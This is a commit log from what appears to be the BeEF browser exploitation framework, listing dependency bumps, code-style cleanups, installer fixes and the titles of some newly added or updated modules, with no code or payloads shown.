Bumps [json](https://github.com/flori/json) from 2.6.1 to 2.6.2.
- [Release notes](https://github.com/flori/json/releases)
- [Changelog](https://github.com/flori/json/blob/master/CHANGES.md)
- [Commits](https://github.com/flori/json/compare/v2.6.1...v2.6.2)

---
updated-dependencies:
- dependency-name: json
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-06-06 22:58:03 +10:00
dependabot[bot]
b911c8df23 Bump nokogiri from 1.13.3 to 1.13.6 (#2423)
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.13.3 to 1.13.6.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.13.3...v1.13.6)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-06-06 22:55:48 +10:00
dependabot[bot]
9bc8d017e6 Bump selenium-webdriver from 4.1.0 to 4.2.1 (#2438)
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.1.0 to 4.2.1.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/commits)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-06-06 22:55:34 +10:00
wheatley
a7a4c81468 adding GHAS scanning (#2429) 2022-05-30 09:53:24 +10:00
bcoles
cbe9f66990 Admin UI: Remove 'Submit Bug' link from admin panel (#2403) 2022-05-12 11:09:52 +10:00
Isaac Powell
1c395a3153 1612 update detect lastpass module (#2292)
* updated detection methods for LastPass module

* removed old detection of form tag

* refactor detection, updated module config.yaml

* comment removal

* Update modules/browser/detect_lastpass/command.js

Co-authored-by: bcoles <bcoles@gmail.com>

* Update modules/browser/detect_lastpass/command.js

Co-authored-by: bcoles <bcoles@gmail.com>

* Update modules/browser/detect_lastpass/command.js

True!

Co-authored-by: bcoles <bcoles@gmail.com>

* Update modules/browser/detect_lastpass/command.js

Co-authored-by: bcoles <bcoles@gmail.com>

* Update modules/browser/detect_lastpass/command.js

Co-authored-by: bcoles <bcoles@gmail.com>

* Update modules/browser/detect_lastpass/command.js

not necessary to preface the text for this one?

Co-authored-by: bcoles <bcoles@gmail.com>

* Update modules/browser/detect_lastpass/command.js

Co-authored-by: bcoles <bcoles@gmail.com>

* Update modules/browser/detect_lastpass/command.js

Co-authored-by: bcoles <bcoles@gmail.com>

* Update modules/browser/detect_lastpass/command.js

Co-authored-by: bcoles <bcoles@gmail.com>

* removing redundant code

* implement field creation

* form field creation and sequential execution

* removing test beef.debug

Co-authored-by: bcoles <bcoles@gmail.com>
2022-03-30 13:44:36 +10:00
iWhacko
0636e815db Bugfix/browse offline zombies (#2371)
* - Fix for offline browsers. Allowing you to view all executed commands in the past and details.
- fiexed a small mistake in a comment

(cherry picked from commit fed79d7142)

* Revert "- Fix for offline browsers. Allowing you to view all executed commands in the past and details. - fiexed a small mistake in a comment"

This reverts commit fed79d71

* - Fix for offline browsers. Allowing you to view all executed commands in the past and details.
- fiexed a small mistake in a comment

Co-authored-by: Whacko <not@gonna.tel>
2022-03-30 11:20:09 +10:00
Abd El-Twab M. Fakhry
b46edb4d1a Add Arch based distro 'Artix' for linux installer (#2373)
Thanks @AbdeltwabMF for contributing!
2022-03-25 09:10:47 +10:00
dependabot[bot]
5fdd96f576 Bump rubocop from 1.25.1 to 1.26.0 (#2347)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.25.1 to 1.26.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.25.1...v1.26.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-03-17 13:33:40 +10:00
bcoles
033dbc1192 AdminUI: Fix admin UI generated combined JavaScript file name (#2358) 2022-03-16 11:35:53 +11:00
bcoles
67892d46a8 Admin UI: Treat URL route mount failures as fatal (#2349) 2022-03-15 14:30:01 +10:00
bcoles
d2f27e6f2e Exit upon database connection errors at startup (#2350) 2022-03-15 14:12:51 +10:00
bcoles
57ab7fda84 Detect OpenNIC DNS (#2341) 2022-03-13 02:11:17 +11:00
bcoles
139359a760 Treat core configuration file load failure as fatal (#2351) 2022-03-13 00:03:38 +10:00
bcoles
38b7ac7c23 Bump Platform.js to version 1.3.6 (#2343) 2022-03-09 19:56:33 +11:00
bcoles
52996d4fc5 Detect Ethereum ENS (#2342) 2022-03-09 15:48:40 +10:00
dependabot[bot]
4dbced4f55 Bump nokogiri from 1.12.5 to 1.13.3 (#2316)
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.12.5 to 1.13.3.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.12.5...v1.13.3)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-03-09 15:01:43 +10:00
Marc Partensky
c5e17be6db healthcheck (#2314)
@MarcPartensky  thanks, please check out the comment on your other PR. Cheers
2022-03-09 12:02:07 +10:00
dependabot[bot]
1c7a6e9fef Bump selenium-webdriver from 3.142.7 to 4.1.0 (#2260)
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 3.142.7 to 4.1.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/commits/selenium-4.1.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-02-22 22:29:00 +10:00
karlmanait
f104a5daff Update ruby version in Dockerfile (#2305)
* Update ruby version in Dockerfile
2022-02-22 20:15:04 +10:00
dependabot[bot]
216d312ebe Bump sinatra from 2.1.0 to 2.2.0 (#2298)
Bumps [sinatra](https://github.com/sinatra/sinatra) from 2.1.0 to 2.2.0.
- [Release notes](https://github.com/sinatra/sinatra/releases)
- [Changelog](https://github.com/sinatra/sinatra/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sinatra/sinatra/compare/v2.1.0...v2.2.0)

---
updated-dependencies:
- dependency-name: sinatra
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-02-22 11:33:02 +10:00
Molese
9b277a0276 Format scripts with shfmt and fix two issues identified by shellcheck (#2303)
* install: format script with `shfmt`

Signed-off-by: molese <molese@protonmail.com>

* install: double quote `GITACTIONS` variable to prevent word splitting (SC2086)

Signed-off-by: molese <molese@protonmail.com>

* install: replace `! -z` with `-n` (SC2236)

Signed-off-by: molese <molese@protonmail.com>

* update-beef: format script with `shfmt`

Signed-off-by: molese <molese@protonmail.com>

* scripts/bump-version.sh: format script with `shfmt`

Signed-off-by: molese <molese@protonmail.com>
2022-02-18 19:01:47 +11:00
dependabot[bot]
c7a3d4c032 Bump otr-activerecord from 2.0.4 to 2.1.1 (#2291)
Bumps [otr-activerecord](https://github.com/jhollinger/otr-activerecord) from 2.0.4 to 2.1.1.
- [Release notes](https://github.com/jhollinger/otr-activerecord/releases)
- [Changelog](https://github.com/jhollinger/otr-activerecord/blob/master/CHANGELOG.md)
- [Commits](https://github.com/jhollinger/otr-activerecord/compare/v2.0.4...v2.1.1)

---
updated-dependencies:
- dependency-name: otr-activerecord
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-02-16 15:21:51 +10:00
dependabot[bot]
1c4ffa33d3 Bump rubocop from 1.25.0 to 1.25.1 (#2293)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.25.0 to 1.25.1.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.25.0...v1.25.1)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-02-16 11:18:53 +10:00
dependabot[bot]
908b6a7a0c Bump rspec from 3.10.0 to 3.11.0 (#2294)
Bumps [rspec](https://github.com/rspec/rspec-metagem) from 3.10.0 to 3.11.0.
- [Release notes](https://github.com/rspec/rspec-metagem/releases)
- [Commits](https://github.com/rspec/rspec-metagem/compare/v3.10.0...v3.11.0)

---
updated-dependencies:
- dependency-name: rspec
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-02-16 10:11:19 +10:00
jcrew99
14d7975c7a Merge pull request #2290 from beefproject/removed_comment
Code Quality #2288 Removed a comment
2022-01-26 19:31:30 +10:00
jcrew99
f9f2121219 Code Quality #2288 Removed a comment 2022-01-26 19:05:00 +10:00
bcoles
e22d262bbf Core: Move web server imitation templates into Router class (#2289) 2022-01-26 13:41:18 +11:00
dependabot[bot]
ae9976b050 Bump websocket-client-simple from 0.3.0 to 0.5.1 (#2263)
Bumps [websocket-client-simple](https://github.com/ruby-jp/websocket-client-simple) from 0.3.0 to 0.5.1.
- [Release notes](https://github.com/ruby-jp/websocket-client-simple/releases)
- [Changelog](https://github.com/ruby-jp/websocket-client-simple/blob/master/History.txt)
- [Commits](https://github.com/ruby-jp/websocket-client-simple/compare/v0.3.0...v0.5.1)

---
updated-dependencies:
- dependency-name: websocket-client-simple
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-01-25 11:28:41 +10:00
bcoles
124c9d60b3 Core: Resolve many Rubocop violations (#2282) 2022-01-24 16:25:39 +11:00
dependabot[bot]
9f7e1ecfc1 Bump otr-activerecord from 2.0.3 to 2.0.4 (#2271)
Bumps [otr-activerecord](https://github.com/jhollinger/otr-activerecord) from 2.0.3 to 2.0.4.
- [Release notes](https://github.com/jhollinger/otr-activerecord/releases)
- [Changelog](https://github.com/jhollinger/otr-activerecord/blob/master/CHANGELOG.md)
- [Commits](https://github.com/jhollinger/otr-activerecord/compare/v2.0.3...v2.0.4)

---
updated-dependencies:
- dependency-name: otr-activerecord
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-01-24 14:21:20 +10:00
bcoles
b68fcecd46 Bump Ruby version from 2.7.2 to 2.7.4 (#2281) 2022-01-24 00:41:56 +11:00
jcrew99
29e025bbfc spec: Fix some rubocop violations (#2011) 2022-01-23 23:49:44 +11:00
bcoles
01c3413687 Modules: Resolve many Rubocop violations (#2280)
Modules: Resolve many Rubocop violations
2022-01-23 00:01:44 +11:00
Brendan Coles
a64480dfab Modules: Resolve many Rubocop violations 2022-01-22 12:46:42 +00:00
bcoles
bbe805f017 Extensions: Resolve many Rubocop violations (#2279)
Extensions: Resolve many Rubocop violations
2022-01-22 22:37:50 +11:00
Brendan Coles
aa7a6f9e64 Extensions: Resolve many Rubocop violations 2022-01-22 11:16:12 +00:00
bcoles
43af6391f0 Rubocop: Disable Metrics/ModuleLength, Naming/ClassAndModuleCamelCase, Style/Documentation (#2278)
Rubocop: Disable Metrics/ModuleLength, Naming/ClassAndModuleCamelCase, Style/Documentation
2022-01-22 19:04:52 +11:00
Brendan Coles
5f143a8e41 Rubocop: Disable Metrics/ModuleLength, Naming/ClassAndModuleCamelCase, Style/Documentation 2022-01-22 08:03:53 +00:00
bcoles
bbe4fda350 Bump minimum required Ruby version from 2.5 to 2.7 (#2277)
Bump minimum required Ruby version from 2.5 to 2.7
2022-01-22 18:30:22 +11:00
Brendan Coles
afec9fbaa2 Bump minimum required Ruby version from 2.5 to 2.7 2022-01-22 07:09:51 +00:00
bcoles
20f9f2e530 Modules: Rename browser/webcam to browser/webcam_flash (#2276)
Modules: Rename browser/webcam to browser/webcam_flash
2022-01-22 18:00:49 +11:00
Brendan Coles
060a3bfae2 Modules: Rename browser/webcam to browser/webcam_flash 2022-01-22 06:58:18 +00:00
bcoles
e75f5a87c2 Rubocop: Update TargetRubyVersion to 2.7 and enable all NewCops (#2275)
Rubocop: Update TargetRubyVersion to 2.7 and enable all NewCops
2022-01-22 17:39:05 +11:00
Brendan Coles
d9cc5cb364 Rubocop: Update TargetRubyVersion to 2.7 and enable all NewCops 2022-01-22 06:37:13 +00:00
bcoles
dd82546998 core/api: Fix typo for undefined variable 'method' (#2273)
core/api: Fix typo for undefined variable 'method'
2022-01-22 16:56:58 +11:00
Brendan Coles
7c4a90c51a core/api: Fix typo for undefined variable 'method' 2022-01-22 05:55:39 +00:00
bcoles
fb622e8c4c Metasploit BeEF Bind: Update installation instructions for Metasploit v6 (#2272)
Metasploit BeEF Bind: Update installation instructions for Metasploit v6
2022-01-22 16:37:13 +11:00
Brendan Coles
d0e2894137 Metasploit BeEF Bind: Rename instructions.txt -> README.md 2022-01-22 05:30:33 +00:00
Brendan Coles
448c3e864b Metasploit BeEF Bind: Update installation instructions for Metasploit v6 2022-01-22 05:29:56 +00:00
bcoles
9770e09d96 Update Metasploit BeEF Bind payloads for Metasploit v6 (#2226)
Fix modules for Metasploit v6.1.10-dev
2022-01-22 16:10:07 +11:00
dependabot[bot]
8294784268 Bump rubocop from 1.24.0 to 1.25.0 (#2270)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.24.0 to 1.25.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.24.0...v1.25.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-01-21 10:59:35 +10:00
dependabot[bot]
fe7627e169 Bump curb from 0.9.11 to 1.0.0 (#2269)
Bumps [curb](https://github.com/taf2/curb) from 0.9.11 to 1.0.0.
- [Release notes](https://github.com/taf2/curb/releases)
- [Changelog](https://github.com/taf2/curb/blob/master/ChangeLog.md)
- [Commits](https://github.com/taf2/curb/commits)

---
updated-dependencies:
- dependency-name: curb
  dependency-type: direct:development
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-01-21 10:29:27 +10:00
bcoles
0d084f00c6 GeoIP: update geoip to use new Maxmind GeoIP database (#2268)
Nice
2022-01-17 09:29:41 +10:00
wheatley
5f4610a4cb Update github_actions.yml 2022-01-13 06:53:36 +10:00
wheatley
35e1f36f44 Update github_actions.yml 2022-01-13 06:53:19 +10:00
bcoles
c2a2ce4a4c Merge pull request #2264 from bcoles/qemu_monitor_migrate_cmd_exec
Modules: Add QEMU Monitor 'migrate' Command Execution module (#2264)
2022-01-07 13:19:31 +11:00
Brendan Coles
77a30ae720 Add QEMU Monitor 'migrate' Command Execution module 2022-01-06 03:05:43 +00:00
dependabot[bot]
3ed9e7ab2f Bump espeak-ruby from 1.0.4 to 1.0.5 (#2238)
Bumps [espeak-ruby](https://github.com/dejan/espeak-ruby) from 1.0.4 to 1.0.5.
- [Release notes](https://github.com/dejan/espeak-ruby/releases)
- [Changelog](https://github.com/dejan/espeak-ruby/blob/master/CHANGELOG)
- [Commits](https://github.com/dejan/espeak-ruby/compare/v1.0.4...v1.0.5)

---
updated-dependencies:
- dependency-name: espeak-ruby
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2021-12-31 10:20:46 +10:00
wheatley
f33e2698a0 MAINTAINABILITY: 2257 update copyright 2022 (#2259)
* 2257 updated copyright date
2021-12-31 09:48:08 +10:00
dependabot[bot]
a606a0bd77 Bump irb from 1.3.7 to 1.4.1 (#2255)
Bumps [irb](https://github.com/ruby/irb) from 1.3.7 to 1.4.1.
- [Release notes](https://github.com/ruby/irb/releases)
- [Commits](https://github.com/ruby/irb/compare/v1.3.7...v1.4.1)

---
updated-dependencies:
- dependency-name: irb
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2021-12-29 22:46:16 +10:00
dependabot[bot]
e3ec7708e3 Bump em-websocket from 0.5.2 to 0.5.3 (#2229)
Bumps [em-websocket](https://github.com/igrigorik/em-websocket) from 0.5.2 to 0.5.3.
- [Release notes](https://github.com/igrigorik/em-websocket/releases)
- [Changelog](https://github.com/igrigorik/em-websocket/blob/master/CHANGELOG.rdoc)
- [Commits](https://github.com/igrigorik/em-websocket/compare/v0.5.2...v0.5.3)

---
updated-dependencies:
- dependency-name: em-websocket
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2021-12-29 22:24:39 +10:00
dependabot[bot]
fe7a07d6c5 Bump rubocop from 1.22.3 to 1.24.0 (#2252)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.22.3 to 1.24.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.22.3...v1.24.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2021-12-29 22:22:25 +10:00
dependabot[bot]
260c3fc52a Bump rdoc from 6.3.2 to 6.4.0 (#2254)
Bumps [rdoc](https://github.com/ruby/rdoc) from 6.3.2 to 6.4.0.
- [Release notes](https://github.com/ruby/rdoc/releases)
- [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rdoc/compare/v6.3.2...v6.4.0)

---
updated-dependencies:
- dependency-name: rdoc
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2021-12-29 22:20:01 +10:00
dependabot[bot]
e0d208e508 Bump mime-types from 3.3.1 to 3.4.1 (#2232)
Bumps [mime-types](https://github.com/mime-types/ruby-mime-types) from 3.3.1 to 3.4.1.
- [Release notes](https://github.com/mime-types/ruby-mime-types/releases)
- [Changelog](https://github.com/mime-types/ruby-mime-types/blob/main/History.md)
- [Commits](https://github.com/mime-types/ruby-mime-types/compare/v3.3.1...v3.4.1)

---
updated-dependencies:
- dependency-name: mime-types
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2021-12-29 22:19:46 +10:00
dependabot[bot]
9e882cd9d5 Bump test-unit from 3.5.1 to 3.5.3 (#2248)
Bumps [test-unit](https://github.com/test-unit/test-unit) from 3.5.1 to 3.5.3.
- [Release notes](https://github.com/test-unit/test-unit/releases)
- [Commits](https://github.com/test-unit/test-unit/compare/3.5.1...3.5.3)

---
updated-dependencies:
- dependency-name: test-unit
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2021-12-29 22:12:41 +10:00
Isaac Powell
d96af71220 additional grep command to correctly identify arch (#2251) 2021-12-29 21:59:30 +10:00
Isaac Powell
2f08343015 removed gcc9 and libgcc 9 from install (#2250) 2021-12-29 21:59:09 +10:00
wheatley
113e6214f2 Removing accidental creation of workflow 2021-12-22 16:16:30 +10:00
wheatley
21fd7ca0c5 Create codacy-analysis.yml 2021-12-22 16:14:57 +10:00
wheatley
0b41775618 added script to bump versions for release (#2239)
So cool
2021-12-03 11:04:18 +11:00
Isaac Powell
9181c83a87 catch for nil (#2237) 2021-11-26 16:20:48 +11:00
Isaac Powell
66257f1cf3 Release/0.5.4.0 (#2234)
* version up to 0.5.4.0
2021-11-26 12:00:58 +11:00
Wanetty
b42aebd99f Fix files to msf6 2021-11-10 04:34:50 -05:00
Wanetty
77c9991a35 Fix files to msf6 2021-11-10 04:31:10 -05:00
wheatley
c6bb893c32 Travis cleanup (#2224)
Removed old travis-cli files as the project is now using gitHub-actions
2021-11-10 08:06:22 +10:00
dependabot[bot]
6f6124e40f Bump json from 2.5.1 to 2.6.1 (#2208)
* Bump json from 2.5.1 to 2.6.1

Bumps [json](https://github.com/flori/json) from 2.5.1 to 2.6.1.
- [Release notes](https://github.com/flori/json/releases)
- [Changelog](https://github.com/flori/json/blob/master/CHANGES.md)
- [Commits](https://github.com/flori/json/compare/v2.5.1...v2.6.1)

---
updated-dependencies:
- dependency-name: json
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

* testing approval process

* Update github_actions.yml

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: wheatley <wheatand@gmail.com>
Co-authored-by: Isaac Powell <36595182+DeezyE@users.noreply.github.com>
2021-11-09 17:23:10 +11:00
bcoles
d7a3ffb2c3 Merge pull request #2205 from bcoles/apache_tomcat_examples_cookie_disclosure
Modules: Add apache_tomcat_examples_cookie_disclosure module (#2205)
2021-11-09 16:38:15 +11:00
Brendan Coles
c8595b09b7 Modules: Add apache_tomcat_examples_cookie_disclosure module 2021-11-09 05:36:33 +00:00
dependabot[bot]
e9b113226d Bump otr-activerecord from 2.0.1 to 2.0.3 (#2209)
* Bump otr-activerecord from 2.0.1 to 2.0.3

Bumps [otr-activerecord](https://github.com/jhollinger/otr-activerecord) from 2.0.1 to 2.0.3.
- [Release notes](https://github.com/jhollinger/otr-activerecord/releases)
- [Changelog](https://github.com/jhollinger/otr-activerecord/blob/master/CHANGELOG.md)
- [Commits](https://github.com/jhollinger/otr-activerecord/compare/v2.0.1...v2.0.3)

---
updated-dependencies:
- dependency-name: otr-activerecord
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

* testing approval process

* Update github_actions.yml

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: wheatley <wheatand@gmail.com>
2021-11-09 16:25:58 +11:00
dependabot[bot]
be9b7655fe Bump capybara from 3.35.3 to 3.36.0 (#2210)
* Bump capybara from 3.35.3 to 3.36.0

Bumps [capybara](https://github.com/teamcapybara/capybara) from 3.35.3 to 3.36.0.
- [Release notes](https://github.com/teamcapybara/capybara/releases)
- [Changelog](https://github.com/teamcapybara/capybara/blob/master/History.md)
- [Commits](https://github.com/teamcapybara/capybara/compare/3.35.3...3.36.0)

---
updated-dependencies:
- dependency-name: capybara
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

* testing approval process

* Update github_actions.yml

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: wheatley <wheatand@gmail.com>
2021-11-09 16:23:05 +11:00
dependabot[bot]
a6fcb1a14f Bump rubocop from 1.20.0 to 1.22.3 (#2213)
* Bump rubocop from 1.20.0 to 1.22.3

Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.20.0 to 1.22.3.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.20.0...v1.22.3)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

* testing approval process

* Update github_actions.yml

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: wheatley <wheatand@gmail.com>
Co-authored-by: Isaac Powell <36595182+DeezyE@users.noreply.github.com>
2021-11-09 16:22:15 +11:00
dependabot[bot]
784e6db9ce Bump test-unit from 3.5.0 to 3.5.1 (#2223)
Bumps [test-unit](https://github.com/test-unit/test-unit) from 3.5.0 to 3.5.1.
- [Release notes](https://github.com/test-unit/test-unit/releases)
- [Commits](https://github.com/test-unit/test-unit/compare/3.5.0...3.5.1)

---
updated-dependencies:
- dependency-name: test-unit
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Isaac Powell <36595182+DeezyE@users.noreply.github.com>
2021-11-09 16:13:40 +11:00
Isaac Powell
0d0e51452c Enhancement - Check for update on launch (#2199) 2021-11-09 14:40:51 +10:00
dependabot[bot]
08faef394b Bump test-unit from 3.4.6 to 3.5.0 (#2198)
* Bump test-unit from 3.4.6 to 3.5.0

Bumps [test-unit](https://github.com/test-unit/test-unit) from 3.4.6 to 3.5.0.
- [Release notes](https://github.com/test-unit/test-unit/releases)
- [Commits](https://github.com/test-unit/test-unit/compare/3.4.6...3.5.0)

---
updated-dependencies:
- dependency-name: test-unit
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

* testing approval process

* Update github_actions.yml

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: wheatley <wheatand@gmail.com>
2021-11-09 09:07:16 +10:00
dependabot[bot]
1aa86bd64a Bump nokogiri from 1.12.4 to 1.12.5 (#2197)
* Bump nokogiri from 1.12.4 to 1.12.5

Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.12.4 to 1.12.5.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.12.4...v1.12.5)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

* testing approval process

* Update github_actions.yml

* removing explicit dependancy of nokogiri as it is only required as a dependancy

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: wheatley <wheatand@gmail.com>
2021-11-09 09:05:15 +10:00
dependabot[bot]
b7108bc069 Bump async-dns from 1.2.6 to 1.3.0 (#2194)
* Bump async-dns from 1.2.6 to 1.3.0

Bumps [async-dns](https://github.com/socketry/async-dns) from 1.2.6 to 1.3.0.
- [Release notes](https://github.com/socketry/async-dns/releases)
- [Commits](https://github.com/socketry/async-dns/compare/v1.2.6...v1.3.0)

---
updated-dependencies:
- dependency-name: async-dns
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

* testing approval process

* Update github_actions.yml

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: wheatley <wheatand@gmail.com>
2021-11-09 09:04:44 +10:00
dependabot[bot]
a674c9d25f Bump parseconfig from 1.1.0 to 1.1.2 (#2193)
* Bump parseconfig from 1.1.0 to 1.1.2

Bumps [parseconfig](https://github.com/datafolklabs/ruby-parseconfig) from 1.1.0 to 1.1.2.
- [Release notes](https://github.com/datafolklabs/ruby-parseconfig/releases)
- [Changelog](https://github.com/datafolklabs/ruby-parseconfig/blob/master/Changelog)
- [Commits](https://github.com/datafolklabs/ruby-parseconfig/commits)

---
updated-dependencies:
- dependency-name: parseconfig
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

* testing approval process

* Update github_actions.yml

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: wheatley <wheatand@gmail.com>
2021-11-09 09:03:36 +10:00
wheatley
99c6287a67 MAINTAINABILITY: Added approval before code execution. (#2218) 2021-11-08 09:32:12 +10:00
Isaac Powell
